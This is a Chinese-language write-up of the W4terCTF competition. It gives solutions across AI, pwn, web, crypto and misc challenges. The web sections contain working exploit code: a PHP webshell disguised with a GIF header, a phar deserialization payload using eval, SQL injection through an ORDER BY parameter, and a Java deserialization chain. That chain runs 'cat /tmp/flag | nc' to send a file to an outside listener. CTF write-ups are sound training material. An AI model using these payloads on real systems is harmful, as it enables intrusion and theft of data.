年轻人的第一场 CTF ,学到了很多,比较走运拿了第五。最遗憾的是密码学板块了,认真学了不少抽象代数但还是没有做出几题。
队友们:(我起了个整活队名,其实是抄袭另一个叫做 “憧憬成为 CTFer” 的 )
# AI
# Network Reverse
网络结构长这样:
Sequential(
(0): Conv2d(3, 4, kernel_size=(2, 2), stride=(1, 1))
(1): GELU(approximate='none')
(2): Conv2d(4, 8, kernel_size=(5, 5), stride=(1, 1))
(3): GELU(approximate='none')
(4): MaxPool2d(kernel_size=3, stride=3, padding=0, dilation=1, ceil_mode=False)
(5): Linear(in_features=412, out_features=1848, bias=True)
(6): Conv2d(8, 1, kernel_size=(1, 1), stride=(1, 1))
(7): Tanh()
)
首先,卷积和池化层只会在图像中的一个较小的局部内用某种方式抹一把,并不会比如说把 W 的上半部分丢到另一个地方去,不会破坏可辨识的字体形状,所以卷积和池化层可以直接当做不存在。
第一层 atan()
没有难度,第三层给 weight
求个逆即可逆向:
def reverse(ts): | |
ts = torch.atanh(ts) | |
C = ts | |
A = net[5].weight.transpose(1, 0) | |
ts = C @ torch.pinverse(A) | |
return ts |
上面这个函数逆向出来长这样:
感觉行之间的梯度非常小,不如来个竖直方向的锐化滤波器试试?
mat = np.array(reverse(tensor).detach().numpy()[0]) | |
kernel = np.array([[0, -1, 0], [0, 0, 0], [0, 1, 0]], dtype=np.float32) | |
filtered = cv2.filter2D(mat, -1, kernel) | |
plt.imshow(filtered, cmap='gray') |
啊?
# Pwn
# Remember It 0
签到题,自动化脚本获取 flag:
from pwn import * | |
p=remote('127.0.0.1', 50184) | |
for i in range(10): | |
p.recvuntil("Your choice: ", drop=False) | |
p.send("1\n") | |
p.recvuntil(": ", drop=False) | |
x = p.recvuntil("\x08", drop=False) | |
p.recvuntil("plz input your answer\n", drop=False) | |
x = x[:-1].decode('utf-8') + '\n' | |
p.send(x) | |
p.send("cat flag\n") | |
flag = p.recvuntil("}", drop=False) | |
print(flag) |
W4terCTF{THOU9h_l_Hav3_tO_SAy_g0oD8y3~}
# Remember It 1
无保护,可以栈溢出。
read
一次读 32 字节,缓冲区有 10 * 32 字节,按理来说只有十轮游戏就不会越界,然而并没有超过十轮退出游戏的逻辑,十轮之后可以接着下一轮,这时读到的东西就越过缓冲区了。
比较菜,没用明白 pwntools
,是手搓十六进制编辑器作为输入,开着 gdb 一点一点试出来的。payload 如下:
前面是一堆 1\nAAAABBBB...\n
用来跳过前十轮,第十一轮读指针已经位于栈顶附近,把 FEE1DEAD
的地址 0xB61840
放在 $rbp
指向的位置,然后用垃圾填满 32 字节结束本次 read
,下一轮选 4 退出游戏, main
返回,就会到达 FEE1DEAD
。
# 2048
ISTG 我真的只是随便敲了一坨输入进去,然后直接弹了句 sh: 1: xxxxxx: not found
给我整不会了。
下面是可以稳定 getshell 的 payload:
# Web
# GitZip
重新做了一遍:
漏洞大概是这里:
要把 .
和 /
都用 %
编码才能过, /
也要编码是我没想到的,大概是针对每一层 /
的处理会包含一些奇怪的特殊步骤,需要把 /
编码掉来跳过这些步骤,让完整的路径字符串直达 req.params.htmlname
。
# ASHBP
查看源代码,首先全局搜索 flag
,马上就找到可以直接得到 flag 的 get_flag
函数:
<?php | |
function get_flag() | |
{ | |
return file_get_contents(rsa_decrypt($_POST['flag'])); | |
} | |
?> |
同时在 init.sh
中可以看到 flag 的位置:
#!/bin/sh | |
echo $GZCTF_FLAG > /tmp/flag | |
chmod 444 /tmp/flag | |
unset GZCTF_FLAG | |
base64 /var/www/html/src/rsa.pem > /var/www/html/src/rsa_base64.pem | |
base64 /var/www/html/src/rsa_pub.pem > /var/www/html/src/rsa_pub_base64.pem | |
php-fpm -D | |
nginx -g 'daemon off;' |
flag 位置为 /tmp/flag
;
全局搜索 get_flag
找到调用该函数的地方:
...... | |
<?php | |
include("rsa.php"); | |
include("download.php"); | |
if($_POST['cre']){ | |
if(rsa_decrypt($_POST['cre'])!='admin'){ | |
echo "凭据无效!"; | |
} | |
else{ | |
echo get_flag(); | |
} | |
} | |
?> |
查看 rsa_decrypt
解密的逻辑:
function rsa_decrypt($endata){ | |
// 私钥解密 | |
$private_key = openssl_pkey_get_private(file_get_contents(PRIVATE_PATH)); | |
if(!$private_key){ | |
die('私钥不可用'); | |
} | |
$return_de = openssl_private_decrypt(base64_decode($endata), $decrypted, $private_key); | |
if(!$return_de){ | |
return('解密失败,请检查RSA秘钥'); | |
} | |
return $decrypted; | |
} |
下载公钥 rsa_pub.pem
,RSA 加密后再 base64 加密 admin
和 /tmp/flag
,分别作为 cre
和 flag
, POST 获取 flag :
export cre=$(echo admin | openssl rsautl -encrypt -inkey rsa_pub.pem -pubin | base64) | |
export flag=$(echo flag | openssl rsautl -encrypt -inkey rsa_pub.pem -pubin | base64) | |
curl -X POST -F "cre=$cre" -F "flag=$flag" http://127.0.0.1:50741/admin.php |
W4terCTF{Unl0ck_7he_sECreTs_O1_tHE_s1MPle_hOMEw0rk_SUbm1Ssion_PLATfoRM}
# User Manager
r.GET("/users", func(c *gin.Context) { | |
var users []User | |
orderBy := c.Query("order_by") | |
if orderBy == "" { | |
orderBy = "id asc" | |
} | |
db.Order(orderBy).Find(&users) | |
for i := range users { | |
users[i].Secret = "hidden www~~" | |
} | |
c.JSON(http.StatusOK, users) | |
}) |
这里 orderBy
直接来自用户输入,而 GORM 文档写道:
安全 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.
看起来 db.Order(string)
会把 string
直接拼在 SQL 语句的 ORDER BY
后面,于是加了个 ;
,在后面注入了一句 UPDATE
,把所有用户的 name
改为自己的 secret
,下一次直接 GET 即可从用户的 name
字段拿到 flag。
# PNG Server
php.ini
中存在漏洞:
cgi.fix_pathinfo = 1 |
这个设置会导致所请求的 .php
文件不存在就会跳到上一层的路径查找文件,比如说 http://....../.php
,那么就可以确定我们需要上传一个 php 文件
源代码中用 isImage
来判断上传文件是否为图片,这里的检查非常随便,存在漏洞:
function isImage($imgPath) | |
{ | |
$file = fopen($imgPath, "rb"); | |
$bin = fread($file, 2); | |
fclose($file); | |
$strInfo = unpack("C2chars", $bin); | |
$typeCode = intval($strInfo['chars1'] . $strInfo['chars2']); | |
$fileType = ''; | |
if ($typeCode == 255216 || $typeCode == 7173 || $typeCode == 13780) { | |
return $typeCode; | |
} else { | |
return false; | |
} | |
} |
只需要在 php 木马前加上 GI
( 2 个字节对应 7173
)就可以通过检查,写一个返回 flag 的 php 木马:
GI<?php | |
$currentDirectory = realpath(dirname(__FILE__)); | |
$flag_path = realpath($currentDirectory . '/../../../../../flag'); | |
$flag = fopen($flag_path , 'r'); | |
if ($flag) { | |
$content = fread($flag, filesize($flag_path)); | |
echo $content; | |
fclose($flag); | |
} else { | |
echo "无法打开文件 $filename"; | |
} | |
?> |
然后上传该文件,文件已经被改名为了 md5 随机码,F12 找到该文件的 url :
然后在该 url 后面加上 /.php
就可以执行该 php 木马:
W4terCTF{uPL04Ds_ar3_0UR_vlC3_RCE_WwwWWw}
# Auto Unserialize
首先在盲目找线索的阶段我是用 GET
方法得到 flag 的位置的:
curl "http://127.0.0.1:54018/?img_file=../../../flag" | |
# Return Success |
直到我看到了参考资料:reference
首先可能先需要:
php --ini |
找到 php.ini
加上这一行:
phar.readonly = Off; |
构造 payload phar.phar
文件用的 phar_gen.php
:
<?php | |
class command_test{ | |
public $command = "echo file_get_contents('../../../flag');"; | |
public function __destruct(){ | |
eval($this->command); | |
} | |
} | |
@unlink("phar.phar"); | |
$phar = new Phar("phar.phar"); | |
$phar->startBuffering(); | |
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置 stub, 增加 gif 文件头,伪造文件类型 | |
$o = new command_test(); | |
$phar->setMetadata($o); // 将自定义 meta-data 存入 manifest | |
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件 | |
// 签名自动计算 | |
$phar->stopBuffering(); | |
?> |
运行脚本生成 payload phar.phar
文件,上传该文件,最后 GET
请求获取 flag ::
php phar_gen.php | |
curl -X POST -F "file=@phar.phar" http://127.0.0.1:54018/ | |
curl "http://127.0.0.1:54018/?img_file=phar://check.jpg/test.txt" |
W4terCTF{uNsErl4I1z3_tH3_pH4r_ArCh1v3_TO_ReveAl_tHE_hIDdEn_tREASUrE_OF_7h3_Php_5Erver}
# Just ReadObject
先贴 payload:
突破口是队友查到的一个比较有名的案例:Java 的优先队列序列化的时候,会把元素一个一个 add 进去,而 add 需要元素之间的比较。如果优先队列初始化时指定了比较器,会直接调用比较器的 compare
方法。
参考:ysoserial/src/main/java/ysoserial/payloads/CommonsCollections7.java at b7d0f27b46af06bbced7dbafddc49678179d3708 · frohoff/ysoserial · GitHub
而 jar 包里有个 W4terTransformingComparator
,它实现了 Comparator
,可以作为优先队列的比较器,并且它的 compare
方法非常的狂野:
public int compare(Object obj1, Object obj2) { | |
// ... | |
value1 = this.transformer.transform(obj1); | |
Object value2 = this.transformer.transform(obj2); | |
return this.decorated.compare(value1, value2); | |
} |
大概就是会调用两个比较对象的 transform
方法,然后呢这个类还有个 decorated
字段,类型是这个类自己,上面两个 transform
调用完,会接着调用 decorated
的 compare
方法,相当于一个 W4terTransformingComparator
类型的链表。
那对于 transformer 呢,jar 包里还有一个 W4terInvokerTransformer
,这个更狂野,它有这三个字段:方法名,参数类型定义列表,参数列表。这几个字段在序列化过程就可以完成加载。
而它的 transform(Object obj)
方法,会直接根据上面的三个参数, invoke
这个 obj
的指定方法。
所以可以用它构造一个优先队列,指定比较器为这么一个比较器链表,每一级比较器都可以对 obj 用任意参数执行任意方法,并且优先队列里的元素也可以自己塞。
首先想到的是 Runtime.getRuntime().exec(cmd)
,由于 Runtime
是不可序列化的运行时 context,需要用反射获取,我们的方法是 Class.class.forName("java.lang.Runtime")
。
也就是说优先队列里要先塞个 Class.class
,然后把上面的调用链拉成 W4terTransformingComparator
的链表即可。payload 如下:
Comparator comp_empty = new W4terComparator(); | |
W4terTransformer trans_for_name = | |
W4terInvokerTransformer.invokerTransformer( | |
"forName", | |
new Class[] {String.class}, | |
new Object[] {"java.lang.Runtime"} | |
); | |
W4terTransformer trans_get_method = | |
W4terInvokerTransformer.invokerTransformer( | |
"getMethod", | |
new Class[] {String.class, Class[].class}, | |
new Object[] {"getRuntime", null} | |
); | |
W4terTransformer trans_exec = | |
W4terInvokerTransformer.invokerTransformer( | |
"exec", | |
new Class[] {String[].class}, | |
new Object[] {new String[]{ | |
"sh","-c","cat /tmp/flag | nc 172.18.198.218 6666" | |
}} | |
); | |
W4terTransformer trans_invoke = | |
W4terInvokerTransformer.invokerTransformer( | |
"invoke", | |
new Class[] {Object.class, Object[].class}, | |
new Object[] {null, null} | |
); | |
W4terTransformingComparator comp_final = | |
new W4terTransformingComparator( | |
trans_for_name, | |
new W4terTransformingComparator( | |
trans_get_method, | |
new W4terTransformingComparator( | |
trans_invoke, | |
new W4terTransformingComparator( | |
trans_exec, | |
comp_empty | |
) | |
)) | |
); | |
PriorityQueue<Class> pq = | |
new PriorityQueue<Class>(comp_final); | |
pq.add(Class.class); | |
pq.add(Class.class); | |
serialize(pq, "hack.obj"); |
本地开 nc 监听 6666 端口,然后上传 hack.obj
即可立刻收到 flag。
# Crypto
# Smoke hints
从 task.py 可以得到以下信息
以下将 hint1~hint5 简写为
是随机生成的 18 位素数
h_4=d\%2^
还给了 n 和 c
已知
化简后得到
使用下面的脚本求得 x 和 y 的值
import math | |
def solvePell(n): | |
x = int(math.sqrt(n)) | |
y, z, r = x, 1, x << 1 | |
e1, e2 = 1, 0 | |
f1, f2 = 0, 1 | |
while True: | |
y = r * z - y | |
z = (n - y * y) // z | |
r = (x + y) // z | |
e1, e2 = e2, e1 + e2 * r | |
f1, f2 = f2, f1 + f2 * r | |
a, b = f2 * x + e2, f2 | |
if a * a - n * b * b == 1: | |
return a, b | |
for n in [102001]: | |
x, y = solvePell(n) | |
print("x^2 - %3d * y^2 = 1\nx = %27d\n y = %25d" % (n, x, y)) |
根据
得到
得到的 q 有两个解,仅保留整数解,然后根据 得到 p
现在得到了 pq, 只需要 e 就能求得私钥 d
因为题目没有直接提供 e, 所以这里需要亿点点枚举
已知 e 是一个 36 位的素数,枚举时使用 getPrime()
获得
它需要满足以下条件
GCD(e, (p - 1) * (q - 1)) == 1 and e < (p-1)*(q-1)
( reduce(lambda x, y: x * y, range(1, h1 - 1)) * e) % h1 == h2
(用到 hint1 和 hint2)h4 == d % (2 ** (d.bit_length() // 4))
(用到 hint4)
最终代码如下
from functools import reduce | |
import gmpy2 | |
from Crypto.Util.number import * | |
from math import sqrt | |
import os | |
h5 = 15237245518187783270118095809520813715956779970121151605236017245281663349927871664089323996437198235332380649056157552139824794588282124241562678460596507994160450297450179528976589398846210519549196888613143426635079434084452257874065484561750625879566967728892028875015732523907566365015585071705383965108584900462347980930243703796275135520452238877712806925535901382203444872746731017403372197551202867519872504341875747056250334169640471053205861370866906946583776837242814046091601932206546117069281206618021968118790407685235602371416190212336628756323090425345962230904747291854448754116455587682431569485503641521272971686704473193019132477953908910849831685148677975221237038065750758015111863632278200747000157187997814194029400697403741838489362003974564359614821068833924840443285823258682774010695163217945524608036622625872746384332883461936945674717452827633809865102717159507550663596896932548991216607522697367537118903992798078936423232478772212951734438159292917127451068031982531631571612297893227345579357245226069692084913823443945826318169121459999393340568902299486793470467510065851569244119435052446898779718050907739373838489841346799589855583093882137549631777101404814967710333142369685932771643559927586884873934944456529776507128155937030841026343151440450761869269196359152094226878375985237603824966654988556567217028134068892779253422300240576637315948429841799367844063885304545920357705733411373493758050263143074535948457 | |
x = 34834945635419823491817566563399234823053176449889821571800075702352062905044231520196782430564993617886316750841220280683153456634693274516582390418863033711415731372881163288179660369032440262647344962570809308551786423557604581792293023628226671539671001863522824415876161727357840363896909435994314597682318687286109212360132261705780761350223208855493439905713509683216585447535669179103840355151676900348955850726834778558748576176596609474037298456423607570516459873639794526160082489103786303332253388597560031538949333472681857144605196440020688999368156212067614295618998719682195870452330682061061500341728481458877113934526003865064359452801 | |
y = 109071911012732502022850422978096246932142152916423367258339958080776017127779842287569032054094868715662547617710798972237860865468979518796870762466053422806566269221859683504667443154145089120448705028998733329483536176859312788275313407342047772524898407149610870586148015013605624329594138230714119704939505401061380777712216157719510271261619101362035144616187262082302740411574934586360516695062056563100258177611076242927354475633328163841594305884855770651187471060662561145818768319723133613889115397679168254599526858767478331211008997427364431641348477558436549415894985022330773540762573918592860707967250624976183104841257499345937186160 | |
n = 162908386409122831644601726291514736982460317787650963552042804694858960756247295016072165050452122566555943647913977051861072784403314058088382494116300030479243222291806345961434419243328825539529128842207242691984718290143482242891139352813626310709638170008858946304550631669011725528861157958853032167147 | |
delta2 = h5**2-4*n*x**2*y**2 | |
delta = gmpy2.iroot(delta2,2) | |
delta = int(delta[0]) | |
print(delta) | |
if (h5+delta)%(2*y**2) == 0: | |
q1=(h5+delta)//(2*y**2) | |
print(f"q1 = {q1}") | |
if (h5-delta)%(2*y**2) == 0: | |
q2=(h5-delta)//(2*y**2) | |
print(f"q2={q2}") | |
if n%q2 == 0: | |
p=n//q2 | |
print(f"p = {p}") | |
q=q2 | |
# 求 e | |
h1 = 150247 | |
h2 = 102488 | |
h4 = 44535490898726654427376304836986323627856798106830892558987452614726931403119 | |
print(f"q={q}") | |
tmp = reduce(lambda x, y: x * y, range(1, h1 - 1)) | |
while True: | |
e = getPrime(36) | |
if GCD(e, (p - 1) * (q - 1)) == 1 and e < (p-1)*(q-1) and ( tmp * e) % h1 == h2: | |
print(f"maybe e={e}") | |
d=gmpy2.invert(e, (p - 1) * (q - 1)) | |
print(f"maybe d={d}") | |
nh4 = d % (2 ** (d.bit_length() // 4)) | |
if nh4 == h4: | |
break | |
print("success") | |
print(f"e={e}") | |
print(f"d={d}") |
开 8 个线程运行一晚上,成功枚举到正确的 e, 并得到 d
使用下面的脚本,根据私钥解密密文,得到 flag
from Crypto.Util.number import long_to_bytes | |
e = 36905723839 | |
d = 66781150190539205038154636873316650284846375610597564467113301562207220876080997654261761651771185773920764536611596660709696442562219146865775186656742157829910073552979854383590613522355255045862718785890708775548436159002198598103886840865569957379996409759081212055357149668774721007823047658341778542959 | |
n = 162908386409122831644601726291514736982460317787650963552042804694858960756247295016072165050452122566555943647913977051861072784403314058088382494116300030479243222291806345961434419243328825539529128842207242691984718290143482242891139352813626310709638170008858946304550631669011725528861157958853032167147 | |
c = 33087238461387318335074410411142790336660168200231648518849044049333308060938917518277424800358623613184976785426565004507278568420843160272353164463818453523209164535111619601021121321114970839731250362111118957833038271450092546392532900928613625992384890463665974527179679504545602403023570778993190377708 | |
m=pow(c,d,n) | |
print(long_to_bytes(m)) |
W4terCTF{W47cH_oUT_7He_Smok3_hIn75_1ROM_wll5oN}
# Wish
查看源代码,看到确定抽取结果的逻辑:
def generate_wish(time, index): | |
random.seed(time) | |
probability = 0 | |
for _ in range(index): | |
diff = min(abs(random.randint(0, 1919810) - 114514), 10000) | |
probability = 100 * (0.1) ** diff | |
app.logger.info( | |
f'probability: {probability}, time: {time}, index: {index}') | |
if int.from_bytes(os.urandom(1), 'little') % 100 + 1 <= probability: | |
return "flag" | |
else: | |
characters = string.ascii_letters + string.digits | |
return ''.join(random.choice(characters) for _ in range(4)) |
发现是利用 time
作为伪随机数序列的初始化种子,要想抽出 flag ,需要 probability
尽可能地大,那么 index
只能取 1
, abs(random.randint(0, 1919810) - 114514)
的值只能为 0
或 1
,所以据此爆破出一个可行的 time
:
r = 24*60*60 | |
for i in range(r): | |
random.seed(i) | |
if abs(random.randint(0, 1919810) - 114514) <= 1: | |
print(i) |
得到唯一符合目标的结果: time=20544
,然后就是真的抽 flag :
curl -X GET -H "Content-Type:application/octet-stream" http://127.0.0.1:52829/query_reset | |
# 获取 3 次 wish 机会 | |
curl -X POST -H "Content-Type: application/json" -d '{"time":20544,"index":1}' http://127.0.0.1:52829/wish | |
# 抽 flag |
W4terCTF{Crack_insteal_of_wish_the_seed_d0ab21251107}
即使这样还抽了十几次才出 flag , 好黑的池子!
# Misc
# Sign In
排行榜
# broken.mp4
按照 record_1.mp4 的指引,找到了文章链接
https://blog.csdn.net/NDASH/article/details/136151418
按照文章指引,去 https://github.com/anthwlock/untrunc/releases/tag/latest 下载所需的软件,选择 untrunc_x64
运行 untrunc-gui
, reference file 选 record_1.mp4
, truncated file 选 record_2.mp4
这样就能得到 record_2.mp4
的修复版,在视频结尾能找到 flag
W4terCTF{L1fe_is_5h0rT_so_i_Us3_MKV_248DF3C}
# Shuffle Puts
启动容器,从浏览器访问,可以下载一个文件 meow
执行下面的命令查看文件中所有字符串
strings .\meow |
在输出中可以找到 flag
W4terCTF{sHUFF1e_5hufF1e_FLA6_MEOWmeOWm30W}
# Revenge of Vigenere
这题的加密是维吉尼亚密码的一个变种
连接容器后,只能获得加密后的密文
解决思路是如果知道原文的一个片段,而且知道完整的密文,可以尝试倒推 KEY。
原文中存在 W4terCTF 是确定的,可以据此倒退 KEY
运行下面的代码,根据已知的明文 W4terCTF
和密文 Q4doySZB
, 尝试推出密钥的其中连续 7 位
from pwn import remote | |
while True: | |
recv = 'Vqcvh! Pd beoq, m bhkhbu bxohuowrlkux fljknkh, oufr bysgocsklze au vydo loydcy uab bybrxcr rr hne xcmsziopexqm bd Lqjk. Qbmi Owyaiy, xy tuxa Fyzyrp uv Lgkcxo, bg ot Xycdpwk kp nty Imd fevrfm, dhk Baeuxd, Cqtecbqx, nq zxu ukwi Lbhgl Xisml el pry Hyegyycoicxkws toy Poxlhgpom ibnr zxue lhgu Owrihcon. Oecafyd, nugy Lqrllskl Josknkdpet kp u ns-tmtu Lkuuxyhb, ytchnc Cybepcqx, nlj xqy Siauw hu Vchaepin pryey Ictqb gkx Zykirepn Foycoj fuzahyxt-ytd Pmsx otd Xiemoigbshs nuc Byerbhxbr Jockiec hdj Rylmwvmai Lolfejbct oh Pyvpjokx. Uycqqz jxop Pshmsd oh Pobieyeds, m Prgrut Bbmxyzs uf Xcxnpsgpsiz yzcxwuy: x Pehbohlg Q4doySZB{lYzyNRN_Jx3_sXMo_lBU3T3RG_5NBvR3I_84Ig_GcFB_i3L934ts3}, okq Pmltqoowm Fojjun pid Pvazehe. Qbi egze Vglnsjj oo Fyzarytsu; g Syrtxhza, jyvn hi g Rynupr, luj yt Sumd, ycx tjy Fkskk wxx Hyeyiyje lz wkvv yhcfv yuu jwi Puhqgiqjk qbi Lbuolchd kut zdo Pulgsuki. Bblmbr, hniu Psmooyoycey bd Buhhfuku Oskru gyca Lknliey, lcz myzecr ymg Bonowoz boac nty Ighhqtq Psyvs uf Xuvskqzeyh. Uh gfoi Lkfh, mj bg sy Xybi neuz rizie ru cukq ssk tbj yqo wkf sghv gq P.' | |
# | |
# print(recv) | |
# print(len(recv)) | |
index = 0 | |
idx_arr=[] | |
for ch in recv: | |
if ch.isalpha(): | |
idx_arr.append(index) | |
index += 1 | |
else: | |
idx_arr.append(0) | |
# print(idx_arr) | |
start = 609 | |
# start = 0 | |
min = 'W4terCTF' | |
def test(start, min): | |
for i,x in enumerate(min): | |
if not x.isalpha(): | |
continue | |
mi_i = start + i | |
mi = recv[mi_i] | |
mi_idx=idx_arr[mi_i] | |
if x.isupper(): | |
base = ord('A') | |
else: | |
base = ord('a') | |
val = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' | |
for v in val: | |
if (mi_idx+1)%2 == 1 and (ord(x)-base+mi_idx*(ord(v)-65))%26 == ord(mi)-base or (mi_idx+1) % 2 != 1 and (ord(x)-base-mi_idx*(ord(v)-65)) % 26 == ord(mi)-base: | |
print(v, end=' ') | |
print(f'\n{x},{mi},{mi_idx}') | |
print('') | |
test(start,min) | |
print('-------------') | |
start=0 | |
min='Hello' | |
# test(start,min) | |
break |
运行结果如下,为密钥其中连续七位可能的取值,每一位可能会出现多种取值,所以有些行有两个字母
K X | |
W,Q,496 | |
O | |
t,d,497 | |
J W | |
e,o,498 | |
J | |
r,y,499 | |
H U | |
C,S,500 | |
O | |
T,Z,501 | |
G T | |
F,B,502 |
然后,利用下面的代码,用部分密钥尝试还原出原文
因为只知道密钥的一部分,所以只能还原原文的一些片段。具体的操作为,考虑到密钥的长度在 10 和 20 之间,枚举密钥的长度,对于每个枚举,根据 Q4doySZB
在密文中的位置推算已知密钥片段在密钥中的位置
另外,考虑到密钥已知部分的每一位都可能有多种取值,还需要用回溯法枚举所有可能的密钥片段,可能性只有 16 种,数量不是很大
import random | |
recv = 'Vqcvh! Pd beoq, m bhkhbu bxohuowrlkux fljknkh, oufr bysgocsklze au vydo loydcy uab bybrxcr rr hne xcmsziopexqm bd Lqjk. Qbmi Owyaiy, xy tuxa Fyzyrp uv Lgkcxo, bg ot Xycdpwk kp nty Imd fevrfm, dhk Baeuxd, Cqtecbqx, nq zxu ukwi Lbhgl Xisml el pry Hyegyycoicxkws toy Poxlhgpom ibnr zxue lhgu Owrihcon. Oecafyd, nugy Lqrllskl Josknkdpet kp u ns-tmtu Lkuuxyhb, ytchnc Cybepcqx, nlj xqy Siauw hu Vchaepin pryey Ictqb gkx Zykirepn Foycoj fuzahyxt-ytd Pmsx otd Xiemoigbshs nuc Byerbhxbr Jockiec hdj Rylmwvmai Lolfejbct oh Pyvpjokx. Uycqqz jxop Pshmsd oh Pobieyeds, m Prgrut Bbmxyzs uf Xcxnpsgpsiz yzcxwuy: x Pehbohlg Q4doySZB{lYzyNRN_Jx3_sXMo_lBU3T3RG_5NBvR3I_84Ig_GcFB_i3L934ts3}, okq Pmltqoowm Fojjun pid Pvazehe. Qbi egze Vglnsjj oo Fyzarytsu; g Syrtxhza, jyvn hi g Rynupr, luj yt Sumd, ycx tjy Fkskk wxx Hyeyiyje lz wkvv yhcfv yuu jwi Puhqgiqjk qbi Lbuolchd kut zdo Pulgsuki. Bblmbr, hniu Psmooyoycey bd Buhhfuku Oskru gyca Lknliey, lcz myzecr ymg Bonowoz boac nty Ighhqtq Psyvs uf Xuvskqzeyh. Uh gfoi Lkfh, mj bg sy Xybi neuz rizie ru cukq ssk tbj yqo wkf sghv gq P.' | |
# recv = 'Q4doySZB' | |
# from secret import original_text | |
# print(original_text) | |
start = 496 | |
def decrypt_vigenere_variant(plaintext, key): | |
key_index = 0 | |
key_length = len(key) | |
text_index = key_index | |
for char in plaintext: | |
if char.isalpha(): | |
if key[key_index % key_length] == '?': | |
print('?',end='') | |
key_index += 1 | |
text_index += 1 | |
continue | |
key_char = key[key_index % key_length].upper() | |
key_offset = ord(key_char) - 65 | |
if char.isupper(): | |
base = ord('A') | |
else: | |
base = ord('a') | |
if (text_index + 1) % 2 == 1: | |
out = [] | |
for ori in range(26): | |
if ord(char) == (ori + text_index * key_offset) % 26 + base: | |
out.append(chr(ori+base)) | |
if len(out) == 0: | |
print('()', end='') | |
elif len(out) == 1: | |
print(out[0], end='') | |
else: | |
print(out, end='') | |
else: | |
out = [] | |
for ori in range(26): | |
if ord(char) == (ori - text_index * key_offset) % 26 + base: | |
out.append(chr(ori+base)) | |
if len(out) == 0: | |
print('()', end='') | |
elif len(out) == 1: | |
print(out[0], end='') | |
else: | |
print(out, end='') | |
# ciphertext += encrypted_char | |
key_index += 1 | |
text_index += 1 | |
else: | |
print(char, end='') | |
length = random.randint(10, 20) | |
arr = [['K', 'X'], | |
['O'], | |
['J', 'W'], | |
['J'], | |
['H', 'U'], | |
['O'], | |
['G', 'T']] | |
random_key_arr = [] | |
random_key = '' | |
def try_idx(i): | |
global random_key, random_key_arr | |
if i == len(arr): | |
print(random_key) | |
decrypt_vigenere_variant(recv, random_key) | |
# print(f'{decrypted}') | |
print('\n------------') | |
return | |
for x in arr[i]: | |
random_key_arr.append(x) | |
random_key = ''.join(random_key_arr) | |
try_idx(i+1) | |
random_key_arr.pop(len(random_key_arr)-1) | |
# print(random_key) | |
lkey = len(arr) | |
for i in range(10,20): | |
print(f"len(key)={i}") | |
mod = start % i | |
old_arr = arr.copy() | |
for j in range(mod): | |
arr.insert(0,['?']) | |
while len(arr) < i: | |
arr.append(['?']) | |
if len(arr) == i: | |
try_idx(0) | |
arr=old_arr |
运行后的输出比较长,需要人工筛选出合理的,即在里面找到一篇文章,已完全解密的单词都是合法的单词
可以发现,密钥长度为 13 时,大多数已解密的单词都是合法的
密钥为 ??KOWJHOG????
时解密效果最好,结果为:
??ilx! In vi??, ? ???ble vaud??????an veter??, ???? vicario???? ?? both vic??? ??? villain ?? ??? ?icissit???? ?? Fate. Thi? ?????e, no mere ?????? of Vanit?, ?? ?? ?estige o? ??? ??x populi, ??? ???ant, Vani????, ?? the once ????? ?oice of t?? ????similit??? ??? Venerat?? ???? they onc? ?????ied. Howe???, ???s Valoro?? ????tation o? ? ??-??ne Vexat???, ???nds Vivi????, ??d has Vow?? ?? ??nquish t???? ??nal and V??????t Vermin ??????rd-ing Vi?? ??? ?ouchsaf??? ??? Violent?? ????ous and V??????us Viola???? ?? Volitio?. ?????t this Vo???? ?? Verbosi??, ? ???led Vest??? ?? ?indicat??? ???rges: a Va?????? W4terCTF{??????H_Th3_mASk_???3?3??_5TRlK3S_84Ck_????_?3?934nc3}, yet Vi??????s Vector ??? ???tory. The ???? ??rdict is ??????nce; a Ven?????, ?eld as a V?????, ?ot in Vai?, ??? ??e Value a?? ????city of s??? ???ll one da? ?????cate the ??????nt and th? ?????ous. Veri??, ???? Vichyss???? ?? Verbiag? ????? most Ver????, ??t within ??? ???umes lie? ??? ??brant Vo??? ?? ?alidati??. ?? ??is Vein, i? ?? ?? ?ery good ????? ?o meet yo? ??? ??u may cal? ?? ?. |
可以大胆猜测,其中的 Howe???, ???s
原文是 However, this,重复上面的操作,尝试逆推出密钥的另一部分
以下可以复用上面的代码,可以推测更长的密钥片段:
[['K', 'X'], | |
['O'], | |
['J', 'W'], | |
['J'], | |
['H', 'U'], | |
['O'], | |
['G', 'T'], | |
['W'], | |
['C', 'P'], | |
['G'], | |
] |
然后用更长的密钥片段尝试解密原文,筛选出其中有效的如下
密钥为 ??KOWJHOGWPG?
??ilx! In view, a ???ble vaudevi???an veteran, c??? vicariousl? ?? both victim ??? villain by t?? ?icissitude? ?? Fate. This Vi???e, no mere Ven??? of Vanity, is ?? ?estige of th? ??x populi, now ???ant, Vanishe?, ?? the once Vit?? ?oice of the V???similitude ??? Venerates w??? they once Vi???ied. However, ???s Valorous V???tation of a b?-??ne Vexation, ???nds Vivifie?, ??d has Vowed t? ??nquish thes? ??nal and Viru???t Vermin van???rd-ing Vice a?? ?ouchsafing ??? Violently V???ous and Vora???us Violatio? ?? Volition. Am???t this Vorte? ?? Verbosity, a ???led Vestige ?? ?indication ???rges: a Varia??? W4terCTF{bEn???H_Th3_mASk_vIG3?3??_5TRlK3S_84Ck_WiT?_?3?934nc3}, yet Vivac???s Vector for ???tory. The onl? ??rdict is Ven???nce; a Vendet??, ?eld as a Voti??, ?ot in Vain, fo? ??e Value and V???city of such ???ll one day Vi???cate the Vig???nt and the Vi???ous. Verily, t??? Vichyssois? ?? Verbiage Ve??? most Verbos?, ??t within its ???umes lies th? ??brant Voice ?? ?alidation. I? ??is Vein, it is ?? ?ery good hon?? ?o meet you an? ??u may call me ?. |
继续重复上面的操作 1-2 次,得到真正的密钥和原文
密钥 BYKOWJHOGWPGG
